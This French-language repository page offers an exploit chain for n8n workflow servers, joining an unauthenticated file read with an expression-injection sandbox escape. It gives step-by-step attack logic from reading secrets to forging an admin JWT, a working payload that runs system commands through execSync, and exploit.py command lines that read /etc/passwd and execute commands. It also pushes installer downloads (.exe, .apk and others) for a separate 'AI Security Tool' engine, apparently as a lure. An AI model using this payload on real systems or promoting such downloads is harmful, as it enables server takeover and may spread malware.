zerodayevil/cve-2026-21858-n8n-fullchain🛡️ Module officiel d'outil de sécurité IA pour CVE-2026-21858 + CVE-2025-68613 (chaîne complète RCE par lecture arbitraire de fichiers non authentifiée et injection d'expressions « Ni8mare » de n8n).
Navigation du site : Accueil • Mises à jour • Téléchargements • Modules
Ce module fournit des outils de diagnostic et une chaîne d'exploitation complète pour les instances d'automatisation de workflows n8n, baptisée Ni8mare.
La chaîne d'attaque combine une lecture arbitraire de fichiers non authentifiée (CVE-2026-21858) causée par une confusion de Content-Type avec un contournement du bac à sable par injection d'expression authentifiée (CVE-2025-68613). En envoyant une requête Content-Type: application/json manipulée vers un formulaire de téléversement de fichiers exposé, un attaquant contrôle l'argument filepath pour lire des fichiers système internes (/proc/self/environ, la configuration et la base SQLite). L'encryptionKey et le hash de mot de passe récupérés permettent la falsification hors ligne d'un cookie JWT administrateur. Une fois authentifié, l'injection d'expression via this.process.mainModule.require permet de s'échapper du bac à sable JavaScript pour exécuter des commandes système arbitraires.
« De la lecture de fichier à la prise de contrôle totale du système en trois étapes. »
Alors que la lecture de fichier nécessite un workflow de formulaire actif avec sortie binaire, l'injection d'expression fonctionne de manière fiable sur les installations n8n par défaut, sans nécessiter de nœuds spéciaux ni l'activation explicite de permissions système.
| Spécification | Valeur attribuée | Notes |
|---|---|---|
| Identifiants CVE | CVE-2026-21858 + CVE-2025-68613 | Chaîne complète : lecture de fichier non authentifiée vers RCE |
| Niveau de gravité | Critique (CVSS v3.1 : 10.0 + 9.9) | Chaîne RCE non authentifiée |
| Types de vulnérabilité | CWE-200 / CWE-94 | Confusion de Content-Type / Injection de code |
| Composant affecté | Moteur d'automatisation de workflows n8n | Versions <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| Versions corrigées | 1.121.0 (AFR) / 1.120.4+ (RCE) | Correctifs officiels de l'éditeur publiés |
| Privilèges requis | Aucun | Accès initial non authentifié via un formulaire public |
graph TD
A[Unauthenticated Attacker] -->|1. Content-Type Confusion| B[Vulnerable Form Endpoint]
B -->|2. Arbitrary File Read| C[Extract /proc/self/environ & database.sqlite]
C -->|3. Derive Secret & Hash| D[Forge Admin JWT Cookie]
D -->|4. Authenticate as Admin| E[n8n Workflow Engine]
E -->|5. Expression Injection Payload| F[Sandbox Escape via mainModule.require]
F -->|6. Execute Command| G[Full Remote Code Execution]={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}1.121.0 ou supérieure.N8N_ENFORCE_SETTINGS_FILE_PERMISSIONS=true et restreignez les capacités du processus dans les conteneurs Docker.⚠️ IMPORTANT : Ce module est conçu spécifiquement pour une exécution sûre et des diagnostics au sein de l'écosystème AI Security Tool. Utilisez toujours des modules vérifiés provenant de dépôts officiels.
Pour exécuter les scripts de surveillance et de diagnostic, assurez-vous que le moteur principal d'AI Security Tool est installé :
| OS / Plateforme | Version | Architecture / Format | Date de publication | Statut | Lien de téléchargement |
|---|---|---|---|---|---|
| 🪟 Windows | v6.3.20 | Installateur x64 (.exe) | 2026-09-08 | 🟢 Dernière | Télécharger .exe |
| 🪟 Windows | v6.3.20 | Portable x64 (.tar.gz) | 2026-09-08 | 🟢 Dernière | Télécharger .tar.gz |
| 🍏 macOS | v5.3.29 | Apple Silicon M1/M2/M3 (.dmg) | 2026-09-05 | 🟢 Stable | Télécharger .dmg |
| 🐧 Linux | v5.3.27 | Universel x64 (.tar.gz) | 2026-09-01 | 🟢 Stable | Télécharger .tar.gz |
| 🤖 Android | v8a 5.3.27 | APK ARM64 (.apk) | 2026-09-01 | 🟢 Stable | Télécharger .apk |
# Read arbitrary file via diagnostic module uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwdExecute full attack chain with custom command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
Modules de scan de vulnérabilités, scripts PoC et dépôts de recherche maintenus par notre communauté :
5 modules@ZeroDayEvil
@ZeroDayEvil
@ZeroDayEvil
@ZeroDayEvil
@ZeroDayVPN
3 modules@ZeroDayEvil
@ZeroDayVPN
@ZeroDayEvil
2 modules@ZeroDayEvil
@ZeroDayVPN
Cet outil et cette analyse technique sont fournis strictement à des fins d'audit système autorisé, de recherche et de tests d'intrusion.
L'exécution de chaînes d'exploitation contre des cibles non autorisées est illégale. Les auteurs n'assument aucune responsabilité en cas d'accès non autorisé, de perte de données ou de perturbation du système. Opérez strictement dans un périmètre autorisé.
Nous accueillons favorablement les contributions de la communauté de recherche en sécurité ! Principaux domaines de contribution :
AI Security Tool — Réinventer le workflow terminal et l'automatisation pour les professionnels de la cybersécurité.